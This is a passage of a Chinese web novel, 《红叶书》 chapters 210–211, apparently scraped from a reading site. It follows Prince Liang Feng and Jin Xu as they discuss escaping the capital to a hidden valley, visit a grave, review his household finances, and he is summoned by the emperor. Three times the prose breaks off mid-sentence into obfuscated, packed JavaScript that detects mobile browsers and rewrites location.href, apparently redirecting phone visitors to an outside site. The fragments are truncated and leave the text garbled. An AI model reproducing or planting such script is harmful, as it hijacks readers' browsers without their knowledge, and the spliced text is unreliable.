应当不会,林童忆没有这个胆子。绝对没有。最主要是,如果林童忆敢做什么,金絮不可能还和这人有来往。 梁风戳戳她的脸颊,心不宽,心窄得很,一个人都挤不进去。 就说了她是非常信任他的,留他在家里过夜自己睡着都没关系。 金絮睡得很熟。 听着她的呼吸,梁风拿出放在怀中的简画,打开来看。 十二应当还在那座山谷待命,要不要告诉她知道。 肯定要说的。但是这件事情他目前没有特别踏实的感觉,可能因为不是他亲自找到的地方,是否足够安全稳妥也不确定。如果是他亲自去找又容易被皇帝的探子发现,那座山谷到底用来干什么也没想好。 找个避世隐居的地方作为后路,是为了如果有一天能离开京城。如果离不开,那就用不上,用不上就给她。她最好四海为家,五湖四海都有住的地方,逍遥一点,像是和她去支郁村的一路上。 可是真到这一天,他应当不愿意放手,肯定死拽着。要是他能离开京城,金絮还愿意和他住在一块的话,那就更好了,这座山谷就是为了这样一个美好的愿景吧。 还是想和她商量。他攥紧手里的简画,像是天地间最能证明自己的东西,他因这个念头而变得存在。 那么今晚应该怎么睡觉呢。 梁风伸进被子里去,摸摸她的手指,还温着,她并不冷。 他去外间坐了会,觉得太冷了,她的被窝应当不够暖的。 他脱掉外衣,解了头发,钻进她的被窝里去。床不大,和她保持的距离不够一个身位。 他肯定在她前面醒来,先醒了就赶紧爬出去,她啥也不知道。 梁风安心睡觉。 - 一声嘹亮的鸡鸣响后,一声又接一声。 梁风动了动,手臂穿过身体,继续睡。这张床榻有种诡异的舒适,明明刚躺下去的时候还觉得太硬了,被子又重。 鼻端若有若无的呼吸,指尖碰到的衣服。梁风睁眼,金絮睡在眼前,他的脸下压着她的头发。 梁风合拢手臂,老实巴交后退一点。 夜晚中途没有醒来。这个冬天大约不会再下雪了。今天的太阳肯定比昨天好。邻居养的鸡吵死了。不知道城门开了没有。 梁风躺着不起身,思索许多严肃的事情,躺到完全天亮了。 她仿佛一晚上毫无知觉,睡得仍很踏实。 不想起身,东想西想时,外面传来敲门声。不轻不重,在清晨的寂静间异常清晰。 梁风一阵莫名陡然警惕,大清早谁会来找她。他等了片刻,敲门声不见停。 他想起昨天邻居的神情,那股敌意是冲着金絮的,而且他又在这过了一晚上。他当即起身,随便套了外衣,走去开门。 门一开,外面站着林童忆。 梁风愣住了,半天反应不过来。 林童忆穿戴整齐,手里拿着件厚棉衣,见着他也愣住了。 发愣过后,林童忆的双眼明显往他身上看了看。梁风觉得不自在,瞪着眼凶着脸地看回去。 林童忆当先反应过来,拱手一揖,浅浅笑道:“王爷早安,金姑娘在屋中吧?草民来找她。” 大清早来找她?握着门闩的手想捏碎,梁风同样笑着回道:“她...她还在睡。” 故作不经意地着重点出“在睡”二字,希望姓林的这厮听进耳朵里去。 “真的吗?那可太好了。”林童忆闻言却笑得更大了,突然貌似开心起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839944|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姓林的灿烂地笑道:“她一贯睡眠不好,能一觉睡到这会儿还没醒来可真是太好了。” 刺眼,太过刺眼。梁风脸上挂着笑,嗯了一声。 林童忆行礼,“她若睡得着那便多睡会,草民告辞,改日再找她。” 说完便走了,这个时辰是要去光禄勋府当值的。 想在他面前表现得很关心她吗?这是想宣示什么!梁风瞪着林童忆离开的背影,心里嗤笑。故作大方,这人太不坦荡,以为她会喜欢很大方的人吗?呵。 装模作样。一个大男人清早替她开门,还说她在睡,居然能满心欢喜地为她感到开心?大圣人呢! 梁风不屑一顾,他一身清正,没兴趣与这般装模作样的人打交道。 就在他要关门的时候,隔壁邻居家的大门开了,又出现昨天见过的妇人。 妇人只开了一条门缝,狭窄的门缝挤着她庞大的探究眼神,透过门缝光明正大地偷偷打量他。 梁风唰地把门关了,低头匆忙将衣服穿整齐。 回屋取了放在她床头的那袋零散金钱,叫来十三,让十三摘掉面罩拿着钱去给附近几户人家打点。就说是叨扰这些时日的赔礼,加上新搬进来还没跟各位邻居打过招呼,见面礼迟了些。 十三拿了钱略有迟疑,也去办了。 梁风回屋,坐在踏上仔细将刚才林童忆的神情回想了一遍。找她干什么?没听说这人每日早晨会来找她,今日只是碰巧?难不成是知道他在这里过了一夜,特地过来看看?还特意在他面前表现出十分对她上心的样子? 小人行径! 他愤愤然点火烧水蒸早饭,金絮饿也该饿醒了。 气不过,梁风站到她面前,低声控诉道:“这人干嘛大清早来找你?还知道你一贯睡不好,你答应我不和这厮来往的。” 她动了动,翻了个身继续睡。梁风噤声,怕吵醒她。 他端盆去屋外洗漱,漱着漱着,想起刚才醒来的时候手臂触感,和她睡在旁边的感觉。 心跳有一点加快,梁风打水洗脸,冰凉的水洗到脸上格外降温。 她还没醒。蒸笼上火,热气滚滚而出,鸡鱼包点的香气散发出来。梁风掀开内间的帘子,香气飘进去。 他坐在外间饿着肚子等。 早食热好,灶火慢慢小下去,她终于醒了。 金絮随便套着外衣,披头散发迷迷瞪瞪挠着脸走出来,第一眼先往蒸笼看。她弯腰凑近闻了闻,揭开盖子,浓浓的蒸汽喷薄出来,她这时才抬头,看见梁风。 “你没走啊?”早起的嗓音很沙哑。 梁风坐着不动,表现自己的乖巧。 她也不多管,径直去洗漱了。 她端着漱口盆走出去,环顾一圈打扫得十分干净的院子,相当自若地开始漱口。 就是这样,总在一些非常重要的事情上十分地纵容他。但是很难说清到底是纵容还是忽略。 梁风怨怨地,把蒸笼里的鸡鱼包点端出来,给她倒了杯水。见她洗漱完毕,对着天空伸了个懒腰,拿发带将头发草草一扎,喝了他的水,问道:“都是给我的?” “才不是,我也没吃早饭呢。”梁风道。 “哦,那就一块吃吧。” 榻上桌案太小,不够放,只能放在灶台上,围着锅灶站着吃。金絮第一筷子是夹鱼,梁风跟着她。 她接着吹烫撕一只鸡腿,梁风吃了一块鸡肉,红枣蒸鸡,味道还不错。 她吃得认真,慢慢嘴唇红润了许多,气色看着也好了,眼神都精神了。 梁风不断分心看她,吃到快一半,斟酌道:“你床上的被子好重。” 他看着她的脸上。她仍是若无其事地吃着,道:“但是很暖和。” 梁风看不出来异样,再说:“吃完早饭我带你出门。” “干什么?” “带你去个地方。” 她想了一想,才应:“行。” 梁风在她脸上转了几圈,决定多说点,“你饿肚子又睡不好的时候对我脾气最坏了。” “谁不是如此,你要是饿肚子又睡不好觉的话,你看你会对谁好脸色。” “我会对你好脸色。”梁风掷地有声道:“去支郁村的时候,有的时候猎不到吃的,你也不会对我脾气坏。” 那一路上刚入冬的时候很难猎到动物,偶尔会饿肚子。 “你昨天还对我说‘你什么位置?’,还说‘要你管’,还凶我。” “你这是和我算账?” 梁风一摆脑袋,“不和你算账。你把煎蛋给我吃了,我就不和你算账了。”他挺臭美。 “吃人嘴软。”她嘀咕一声,专心吃饭。 210. 《红叶书》(一三十) 梁风听见了,问道:“我还没走呢,你就睡着了,对我这么放心吗?不怕我偷东西?” “你偷吧,不值钱。” 梁风严肃起来,“林童忆在的时候你也会这么睡过去了?” “不会。”她呸地冲柴火堆吐掉枣核。 “怎么不会?这厮把你的东西偷走了,你都不知道。”梁风道:“我也想偷来着,只不过被这人捷足先登了。” “他事后和我说过,我知道他拿走了,不算偷。”她微恼,“你们一个两个,为什么都把我这里当作自己家一样来去自如?还随意顺走我的东西。” 梁风顺杆就爬,“那你把林童忆赶走,让他不要再来找你。” “他进来是会敲门的,不会翻墙,该被赶走的是你。”她纠正。 梁风垮脸,委屈了,仔细仔细看她的神情,不是做假。金絮完全不在意,说完继续混若无事地吃饭。 “那你赶走我啊。” 索性不吃了,梁风道:“你一字一字地把赶我走的话说清楚,你要很凶狠地骂我,把我赶走,把我贬得一文不值,让我再也不要找你,说我浑身上下每一个地方都让你感到恶心,每看见我你都恨不得自瞎双目,说认识我十几年是你这一生最痛苦的事情,你不止是要以往的那种凶,而是要很凶很凶,是这一刻再不把话说出来下一刻就要被我逼疯的语气把这些一句一句和我说清楚,你说了我就不再管你了。” 金絮停下,抬头看着他,不说话。梁风更委屈了,“你看你又不说。” “你在耍无赖。” “我没有。” 趁着与她目光相接,梁风把话说完:“不止这些,你还要将金氏全族的性命推到我身上,说是我害了你的父母兄长,你说你此生不想再看见我。” 她眼神犀利起来,近乎是瞪了。 梁风被瞧得虚了气,极小声哼道:“......你看你又不说......” 金絮扭脸,撕下鸡的另一只腿。 梁风吃不下了,放下筷子,看了她脸上的角角落落,摸出怀里的那张画,打开递给她。 金絮撇了眼,沾了油的手直接抓来简画,一看就皱眉。 “我想带你离开京城。”梁风看着她道:“办法是有的,我可以假死,或者自残,只要皇帝觉得我此生无缘皇位就是了。” 她的脸冷着,不置可否。 梁风停顿一下,继续说:“再不然,就说我母亲当年是骗种欺君,其实她怀的根本不是龙种,她生前才因此在宫中备受冷落,不然早就母凭子贵了。” “你脑子发病了?”她骂,咬了一口的包子往他身上砸,油水溅出来。 梁风低下头,也不反驳,“我能够下定决心,只要你心里有我。” 她寒了脸,不再看他,转而甩甩那幅画,没好气道:“这是什么?小孩儿学字练笔?” “不是,这是一幅画。” “你画的?”她还是不看他。 “不是,十二画的。”梁风放轻道:“画的是一处山谷,画中的三根线条和一个山字,隐含了这座山谷所处的方位。” “你看,”他指点释图,“最左边的线条总共七个弯,左弯三个,右弯四个,意思是正西偏南;中间线条起笔处上竖笔锋有三道,意思是西南方位人口在三十万户以上的第一座郡城;最右侧线条落笔处下竖笔锋有四道,是指这座郡城西南方四十里外的第一座县城。” 她没明白,梁风道:“画中‘山’字上下五指宽,意思是那座县城一百里外有座山谷,至于是哪个方位的百里,需要进了县城,在城里找十二留下来的标志线索。” “什么意思?” 她眼中有些闪动,梁风看着她的眼睛道:“算是给我自己找的后路吧。如果我离开了京城,就在那山谷里面建一座房子,自己住着,皇帝找不到我了。” 她有点明白了,“避难用的?” “差不多吧,我回来京城后我就这么想了。如果我无法离京,那我也把这个位置告诉你了,你去任何你想去的地方,觉得累了就可以在那座山谷歇一歇,做个隐居世外的山中高人,没人打扰你。” 她眉头微皱,“你找了个后路。你想干什么?” “我不想干什么。”梁风挪脚悄悄贴近她,“位置确定下来后,我会再派出几名暗卫,去那山谷中搭建房屋。搭好后会住一段时日,确认安全。” 他偷偷捻住她的衣袖,“如果我离开京城,你愿意和我一起住在这个地方吗?” 她移开视线,也没有抽手。 梁风道:“我想说,你想去外面多走多看,我是做好准备陪着你的,不管你想去哪里。” “可是这不靠谱。”她道:“对这个地方了解得不够详细,后路这种事情至少需要几年的时日筹划,你回京后这才过了多久?” “不用急,你也还没决定好。” 他也没有决定好,梁风顺着衣袖捏住她的手腕,顺着手腕爬上她的掌心,心里犹豫来去,还是小声道:“我还有话要告诉你,你如果不看重我的话,我是不会走的,京城至少还有我认识的人,别的地方都没有。” 她的眼睛从简画上移开,正正地看着梁风。片刻,她道:“这画中还有别的意思?” 还有些别的笔锋和弯折他没讲,梁风摇头,“没有了,其他含义都是误导。” 她带着画走去内间,拿起桌上的梳子梳头。 梁风站在她身后看着,看到她梳好后用一根簪子挽住全部头发,想起她偷偷送给他的发带,此刻就在他手腕上缠着。梁风背着手,摸摸发带,小声道:“你如果真的决定不要我,那你必须尽快把自己嫁出去。” “不要,我又不愁嫁,用不着赶快。”她盘好发,转头问:“你要带我去哪里?” 梁风低下头,拽过她的手来,用自己两只手握住,再十指相扣,“走吧。” 金絮很乖地和他出门。 他是骑马来的,梁风叫暗卫去王府拉马车过来,再牵着她往大街上走,边走边道:“你如果要嫁人了,必须告诉我。” “行。” “你会不会这辈子不嫁人了?” 她很认真地思考起来。直到走出秋叶巷,她才道:“不会。” 梁风叮嘱:“你不能嫁林童忆。” 她略一点头,“不嫁。” 他心里还想着什么,想开口,又没找到话。 她道:“说完吧,还有什么要求?” 梁风闭了嘴,牵她往城门方向走。 走出一段,暗卫驶来的马车赶到了,梁风扶她坐进马车里。 “要出城啊。”她看着窗外道。 “嗯。” 周围没了人,梁风把她拽得面向自己,看着她问:“为什么吸绿鸦膏?” 她眨了眨眼,四处看看,似乎被问得突如其来,像是在思考。梁风一看就知道她开始转脑筋了。 她很快收回四处转动的眼睛,回答:“每个人身上都有各自的气运,我会把别人的气运吸光,所以我得吸点别的。” 眼睛深处被睫毛遮挡,梁风一看就知道是她转过脑筋之后又决定不转了,她的回答并不让他感到十分意外,但没想到会往气运方面说。 “那你怎么解释我。我这辈子最大的气运就是遇见你,我离你最近不是吗。” 金絮眼中疑惑轻得一挥即去,“我难道没有吸走你的气运吗?” 他反倒被说得一瞬有些发愣,随即道:“是我吸走了你的气运。我也会吸别人的气运,你看看我身边哪个人活得好。” 她不说话了,梁风挨挨她的肩膀,“我们互相吸,就能调和了。” 她不说话,沉默地思考。梁风一下子发现这样说也不对,不能一切祸事的源头就是他吧。 赶紧想想。 这一想想到了马车停下,停在了山脚下。 梁风扶她下车,和她道:“我们所认为的祸事,即便没有我们也一样会发生。” 她点头,“也有道理。”应得很快,不甚在意的样子。 梁风继续十指相扣牵她,进山。 这座山是京城贱籍之人死后埋葬的地方,梁风带她往墓碑群的方位走。她认得这座山。 “为什么来这里?” “我们一起见一个人。” 梁风在前破雪爬山,冬末积雪薄了,好爬。太阳大起来,雪堆融化,气温低了。 走了一段,金絮忽然道:“你什么时候才不会放暗卫在我身边。” 之前没怎么想过这个问题,比较随心所欲,现在需要好好想想了。 梁风开始想,想到碑群出现在眼前,他斟酌道:“我不喜欢你的时候,我不担心你的时候,还有你嫁人之后,这三个情况必须同时满足。” 应当不止这三种情况,有待补充。 “我这辈子能等到这三种情况同时满足的时候吗?” “不能。第一条就做不到。” “我嫁人之后你还要放人盯我?” 梁风觉得能,想一想后觉得理应不能,他继续思考。 墓碑逐渐接近,梁风在思考中沉浸,反复纠结权衡之后,妥协道:“那在达到第三条的情况下,就只需要同时符合两种情况。” “总之是我哪怕嫁人之后你都会盯着我,直到你看不上我为止。” 梁风不说话,她往前看,忽然道:“冯棹台。” 梁风抬头,碑群边缘一座最大最整洁的墓碑旁站着一个人影,是冯棹台,而那是雪姬的墓。 走近了,冯棹台听见声响扭头看来,微微诧异后礼道:“安分王殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贱籍的埋葬之地,粗糙的碑身承着潦草的字迹,刻痕经过风吹雨蚀已经剥落,名字几乎无法辨别。 “你就是为了让我来看看雪姬?你想和我说这就是复仇的下场?”她问。 梁风没说话。她便自己答道:“这是复仇失败的下场,不是复仇成功的下场。复仇成功了,我就是死了也是葬在皇陵里面的。” 梁风觉得她想歪了,跟她讲道理:“我是想你看着雪姬,但是心里想到丽姬。你看,丽姬对雪姬一点留恋也没有。” “她没有我有。”她白他一眼,“我又不是丽姬。” 这语气不对了,梁风走后面拽她的袖子,“我们不要吵架,我们好好说话。” “说什么?” 墓碑太过密集,中间容人的小道只能一人通过。梁风走在后面,见她时不时低头看着两侧,时不时低头看着正前方。 他想了想,道:“你就说,你愿意和我在一起,然后我说,我会带你离开京城。”他有安排地一唱一和,“你找不到别人带你离开了,你只有我。” 她不吭声,梁风盯她的后脑勺,盯破。 即将走出碑群时,梁风道:“我不会放你走。” 她站定转身,拦了路,“你刚才还说我要是走的话就尽快嫁出去,这会又不给走了。” 他想象不出来,一个永远不能见到她的世间。 “你不要我的话,我也不会放你走。” “我会把你关进王府,关在房间里面,门窗都封死,地板也封死,把你关在一个铁桶里面,让你离不开我。” 他一字一字地说,自认是威胁。金絮浑然无所谓,耸肩道:“我已经在铁桶里面了。” 梁风噤声,纠结片刻后改道:“那我不把你关在铁桶里面了。” “嗯嗯。”她郑重点头。 “我把你关在开了一个洞的铁桶里面。”洞口有他把守着。 金絮闻言扭头就走,不由慨叹:“你真是很喜欢和我撒娇。” 梁风浑身一凛,拳头都握起来。 “谁和你撒娇了?!”他提高音量跟她瞪眼,“你到底认识梁风吗?” “你说呢?” “我没有和你撒娇!” 梁风原地愤愤然,徒然看着金絮在前越走越远,他赶紧跑两步追上去。 金絮往山下走,梁风还要瞪着她。 她一边走一边道:“不管是假死,还是自残,还是骗种欺君,李管家都不会同意的,我也不会同意。” “你自己进到铁桶里面,不要让我来关,我就同意你不同意。”梁风掷地有声,天理都在他身上。 她哼哼,“我管你同不同意。” 211. 《红叶书》(一三一) 这根本就是忽视,他真傻,他还以为是纵容呢! 梁风比她更重地一哼! 金絮忽然拽住他,把他拽停了。他顺势一看,见她指着地上一根树枝。 “你看这根树枝。” 普通的枯枝,指粗。梁风不明所以,金絮抬起一脚踩在树枝上,然后一碾,树枝断了。 “这是逼我逼太紧的结果。”她道。 梁风抿嘴,心里默默,觉得这一脚真是毫不留情,“我逼你太紧,我就是这根树枝的下场?” “不是。” “你是。”梁风牵她的手,“你要吸绿鸦膏这件事,无论出于什么原因,你自己斩不断的话,我帮你斩断。” “你想怎么斩?”她继续前走下山。 “手起刀落,很利索就斩断了。”梁风摆手刀状。 她撇了眼,不置可否。 “你往后,当真不可以再骗我了。”梁风郑重其事道:“小事也不行。” “你往后,当真不可以再放暗卫监视我了。一天也不行。”她学着他的语气。 这怎么真有点撒娇的意思?梁风掠过脑子就不想了,当即点头答应,“好,我答应了,你也要答应我。” “行。”她也痛快。 梁风喜滋滋。 “回去把我的窗户修好。” “好。”梁风还是喜滋滋。 她又问:“说笑行不行?” 他登时停止喜滋滋,怕入了她的陷阱,思索道:“如果我能听出来是说笑就行,不能就不行。” 她哦一声。 梁风说得是很严肃的,她却浑然不放在心上的样子,捏捏她的手掌想再强调一遍,金絮却溜滑地脱了手飞快往前跑。 她跑回马车,一骨碌钻进车里,回头露出一个脑袋看他。梁风不着急和她回去,慢悠悠落在后面。 “你一点也不看重我。”他埋怨道。 金絮摇头,“我心里是有你的。” 闻言,嘴角两边的肉有一点往下垮,他站定车边,抬头看着车里的她,愈发埋怨:“你心里怎么有我了?你在乎我吗?你惦记我吗?你心里想我吗?你有陪伴我吗?你有哄我开心吗?你没有。” 金絮不动声色,“怎么样是在乎你?” “时时刻刻想着我。” “怎么样是想着你?” “时时刻刻惦记我。” “怎么样是惦记你?” 梁风略一想,道:“时时刻刻陪着我,不能陪我时要想办法陪着我,不能见我落单了。” “怎么样是陪着你?” “陪着我时要哄我开心。” 她听罢,脸上不表态,“你要的很多。” “一点也不多。” 她转而道:“嗯,是不多。” 梁风发觉她是很会拿捏人的,或者说是很会拿捏他的,心里有点气,一臂撑起跳进车里,挨着她坐。 “你搬进王府里面住好不好?” “不好。你把我关起来怎么办?” “我不关你,你今日搬过去。” “不要。我又不是没有住处。” 梁风想说她那住处不好,邻居也不好,哪哪都不好。 她思索一会,问:“除了自残、假死、欺君,你还有什么别的法子?” “没有了。就这几个法子可以完全消除皇帝对我的疑虑,别的都不能根除。”梁风叫暗卫驾车回城。 “如果是背负污名呢?把你的名声彻底搞坏?” “那至少得是牵连到朝堂和民间的重大事件,这样的事件我能插手进去都不容易,更别说还得做出一番动作后再以后续舆论败坏我的名声,我动作之前皇帝就有警惕了。” 她沉着点头,“要想事情不大,又同时影响足够恶劣,确实只有骗种欺君这一条路了。” “假死的话,是如何假死?”她又问。 “比如说,病重不治身亡,下葬前换个假人代替,或是下葬后再掘开坟墓。”梁风道:“皇帝肯定会找太医为我医治,必须得是真病才行。李婶能研制出致病的药物,吃了就能假似病重,但是很快就会好。” 她不表态,眉头微微皱起来,“要想完全摆脱皇帝疑虑安全脱身,走之前肯定会伤筋动骨。” 看得出她有重重疑虑,面上却显露不多,梁风问:“是不是只要我能离开京城,你就愿意和我在一起?”他郑重地说:“你刚才说了你心里有我的。” “你不是不信么。” “我信。你说什么我都相信。” 金絮没说话,脸上的表情并不轻松。 “你回答我的问题。”梁风道。 她不说话,沉沉的像在思考。 梁风捏捏她的手,“我们两个人在一起,出了什么事两个人一起面对不好吗?我们不要吵架,不要分开。” 金絮一想,郑重点头,“好,不吵架。” 她问:“你离开京城,我才愿意和你在一起,这对你来说是在乎你、惦记你、想你、陪伴你、哄你开心吗?” 梁风皱眉思考,脑子有点空白,耳朵却忍不住将和他在一起和在乎他、惦记他、想他、陪伴他、哄他开心之间联系起来,联系之后觉得这很可以相等,于是他点头,“是。” “还是,我只是贪图你能带我云游四海?” 梁风眨眨眼,想了想,发觉没有东西可以和贪图带她云游四海划等号,于是摇头,“不是。” 也不是,她贪图他,梁风又点头,“是。” 金絮脸上微微一笑,“哪里是,哪里不是。” “你贪图我,就是你愿意和我在一起。而云游四海,是我们在一起之后会做的事。”梁风教给她道。 “这样啊。”她若有所思。 “你还没有回答我的问题。”他又想起来提醒。 “你离开京城,我愿不愿意和你在一起?” “对。” 她还是若有所思,但是点头道:“我是愿意的。” 梁风忙问:“你、你的愿意是那种——愿意想我、在乎我、哄我开心?” 她又是一想,“若是为了想你、在乎你、哄你开心,那就未必愿意了。”她耸肩,“我不和你在一起也一样能做到。” 梁风沉思—— “这取决于你是不是必须冒险。如果风险太大,我一样可以在乎你、惦记你、想你、陪伴你、哄你开心,但我们可以不在一起。” “不行。”梁风觉得这有点乱,反正道:“我会努力离开京城,你不可以找人嫁出去。”他重重握着她的手,“我们要在一起的。” 他想通一点,“你在京城,你不会开心。” “我在哪里都不开心。”她语气没什么感触。 他的心情有点垮下去,觉得不太对劲,但是不明白哪里不对劲,问道:“在我身边你会开心吗?” “嗯。”她点头。 “那就不要想那么多了,我们要在一起的。”梁风道:“我在你身边是很开心的。” 她看着他,再次点头,“嗯。” 心情似乎不能升起来,梁风低头沉默,默默握着她的手。 马车停下,到家了。 送她进屋,梁风马上开始为她修理窗户。 家里没有窗纸,她从一块破布上裁下一角。梁风站在窗子外面糊,先糊里面,再糊外面。金絮在屋里,趴着另外半扇窗户,看着他补。 梁风突然问:“你刚才说在我身边很开心?” “还不错。”她托腮闲闲道。 “可是我感受不到你在乎我。” “我知道。”她道。 梁风低下头,给碎布涂抹米胶,然后沾住破洞。 一个小洞,饶是他如何拖,也很快就糊好了。 “回去吧。”她道。 梁风抬头看她,“你赶我走。” “不是。”她又在看,盯着他脸上某处,忽然问:“你肚子痛吗?” 肚子?“不痛。”梁风莫名。 “哦。”她拿起裁了一角的碎布,擦去他食指沾上的米胶,“回去吧。” 梁风手指下意识一勾,没勾住她,有点被驱赶的委屈。 “以后进出记得锁门。” “嗯。” “不许把钥匙给林童忆,不能让这人随意进出你的家门。我会常来找你的。” “嗯。” 今天也不便再继续打扰她了,梁风召回所有暗卫,一起回府。 他走不远回头望,见金絮仍是趴着窗沿看日头。没什么云朵,很大的太阳,冬日的雪开始融化了。 回府也有事情做,有件很重要的事情需要做。 他得仔细清点一下王府目前的储蓄有多少,包括现成的钱财和御赐的宝物。 御赐宝物不能动,主要是清点现金和现钱,立刻能调用出来的有多少。 之前一直没有仔细注意过这些,只大体知道一下王府用度是否紧张就算了。现在他该上心了。 老李拿来账簿给他看,该上心的梁风翻了两下不看了,只听老李讲。 王府的支出主要分三部分,府内人的花销,暗卫和府兵的花销,还有梁风本人的花销。 起初是拿军中的月俸,这部分不多,但是覆盖了府内几乎全部开销,包括老李和丫鬟小厮还有府中过年过节过冬的所有花费。府里人不多,这些花费本身也少,他卸去军位后,这部分收入没了,后面是用前些年军功拿的赏赐来补。 他初入军营头几年,喜欢用王府私库给军营的士兵改善伙食,那时候这方面费用不小,曾调用过藩地上贡的钱财。后面不管是襄国还是燕国,上贡之物再没调进过私库,只调来送给朝廷使用。 军功赏赐除了补贴府内花销外,还主要承担他的暗卫和府兵的开销。府兵军备比较次,他不在家的时候,老李对府兵疏于训练,他卸去军职后仍然很少着家,继续疏于训练,这部分花费主要用在暗卫和府兵的月俸上。后面不再有军功了,剩余的赏赐只等坐吃山空。 除了这些,最大的支出是他花在嬉春院和温柔馆的钱。主要用的也是军功赏赐和其他某些人送的礼,将其中能典当的典当后,才能支持他在销金窟里大手挥霍。 他交出兵权前,这部分挥霍只占王府总支出的两三成,交出兵权后,直接占去七八成。一直到温柔馆倒闭,王府在这方面才总算轻松了些。 听及此,梁风有点压力,在此刻老李的注视下,他很希望金絮在身边,握着她的手,一起面对。 但是在交出兵权后,这座府邸正式定性为王府,而不是将军府,朝廷发下来的月俸是以诸侯王的份例发放,比之军营中领的月俸多出许许多多。 这一笔庞大的月俸每月主要用在有四:借给七皇子;购买和光府;上下走动人情;温柔馆倒闭前,花给温柔馆,温柔馆倒闭后,花给金絮。每月都能有不少剩余。 梁风算了算,他感觉花费在金絮身上的钱并没有那么多,而且这不叫花费,叫给她。 现金现钱不多,最多的是不便典当的御赐宝物。当初那堆宝物在温柔馆四楼堆了一整个房间,堆出个金碧辉煌。后来温柔馆倒闭,满屋子的宝物收回来,少数几个给她砸了,其余多数在这次拂柳街修缮时捐出去了。 金钱宝物之外,剩下的就是粮食了。然而今年冬天囤的粮食不多。 老李道:“总的来算,王府自建成之日起,每年花销都不算多的,但因收入也不多,没攒下来多少钱。主要攒下的钱,都是这两年您每月的诸侯王份例。” 梁风心里有数了,吩咐道:“我想多攒点钱,往后要开源节流了。我在京城还有一处房产,一块变卖掉吧。”有一座小宅子,记得给金絮养过伤的。 “是。”老李应道。 李晟去府库清点现存所有的金子与铜钱,最后清出大约二十斤金子和两千铜钱。 梁风再召来目前身边得闲的全部暗卫,共十人。他点出五名,每人携带三斤金子和一百钱分头去往山谷与十二会合,并一同在山谷修建出一座临时住所,然后不用回来。 那副简画的原图在金絮那里,她没还给他,他这里只有将图中含义手写下来的文本。梁风抄了五份给这些暗卫,吩咐今晚出发。 事情做完,已经夜深了。 歇下来时,他的肚子开始痛了。 理应不是吃坏了东西。梁风拉了一趟肚子,快要睡觉的时候又拉了一次。 李婶给他把脉,说他就是吃坏了肚子。 梁风觉得没道理,不管不顾地睡自己的觉。 第二天起来,穿好衣服就想找她。入睡前想起来昨天有件事情忘记问她,她前一阵收到太南那边寄来的信件,想问她信里说了什么的,太南那些小姑娘们都还好吧。 这一早起晚了,再过一个时辰便到正午。他洗漱完随便喝了碗粥,想晚点找她一块吃午饭。 这时夏培手下一个太监登门传旨,说皇帝召他进宫。 梁风只好打断计划先进宫去。他知道会被皇帝叫过去,绿鸦膏那事波及挺大,居然久到十年前,皇帝肯定会叫他问话。只是没想到昨天刚知道的事情,今天就被叫过去了。 入了宫快到正午,听太监说早朝结束后皇帝还未离开朝殿,梁风随指引直入朝殿。 一入殿,见皇帝就坐在上首批折子。 “朕找你来是有事问你。”皇帝叫坐,“你是如何发现街上有人贩卖绿鸦膏?” 把那个大爷的画像交给冯棹台,是因为他不想直接插手。不管冯棹台有没有透露画像背后的人是他,细查之下肯定都会查到他这里。 梁风道:“回陛下,不是臣弟发现的。最初是有人在街上被人兜售绿鸦膏,因卖绿鸦膏那人口腔溃烂、唇齿发黑,她被吓了一跳,回来告诉我,我才知道的。臣弟知道后,留心派人详查,这才发现了。” 皇帝眉头一皱,“这人是谁?” “臣弟的知己。” “你这知己是个男人?从前参过军?为何能认得绿鸦膏?” “回陛下,我这知己是女子,从未参军,也不是她认得,是她回来告知我后,我存疑派人详查,才确定是绿鸦膏。”梁风表现老实巴交的样子,“我只是不希望她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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意识到皇帝大约不会很快放他走了,已经过了午时,不知道她吃饭没有,身边也没个人护着。 皇帝絮絮叨叨,梁风心不在焉听着,时不时应一句。 宫人献上茶果点心,梁风吃了几块。皇帝仍在念念叨叨,他走神间不知觉吃完了一碟点心。 “你进宫前没有用饭么?”皇帝看了问。 梁风一愣,忙回道:“吃了,吃得不多,今早起晚了,进宫前没来得及多吃。” “那今夜留宫中用饭吧,省得你说朕亏待你。”皇帝顺势道。 梁风又一愣,有些诧异,他从前有因什么事直言说过皇帝亏待他吗?但他立即应下:“是。” 越发想她了,希望她有好好吃饭。 “你同朕说话时,总是走神,在想什么?” 梁风第三次愣住,忙道:“回陛下,臣弟前日细算了王府这几年的开支,盘算着往后该如何开源节流。” 皇帝挑眉,“哦?王府用度紧张了?倒不曾见你这些年如何大手大脚。” 梁风扯嘴笑,“府中下人接连几个想归乡侍奉父母双亲,纷纷跟我告辞,我念及他们这些年也颇尽心力,便打算在他们回乡前各送一笔补助费,也算回家路上的盘缠。” “你那府中才几个下人,打发些赏赐能影响到王府用度?你每月俸禄居然不够用?” 梁风干干地笑,不答话。 皇帝一挥手,吩咐夏培拿赏赐来。 不多时,两个太监合力端了一托的金子来。皇帝大方道:“赏你的。” 梁风看了眼,金子上印着御印,只能不客气收下,起身作礼,“谢陛下。” 突然留他吃饭,突然给他赏赐,这皇帝肯定有话想说。 梁风只好等,心里也在犹豫要不要坦诚想法,直接问皇帝能否放他离京。当下朝廷的情形,能不能容许他把这话说出来。 如果要说,在太子人选定下来的前后,就是他提出退隐的最佳时机。 但是,到底是前还是后,他在犹豫。 不如回去问问金絮。 她说不定正在犯困呢,她昨晚肯定没有睡觉,因为前一天睡太多了,到此刻才觉得困。 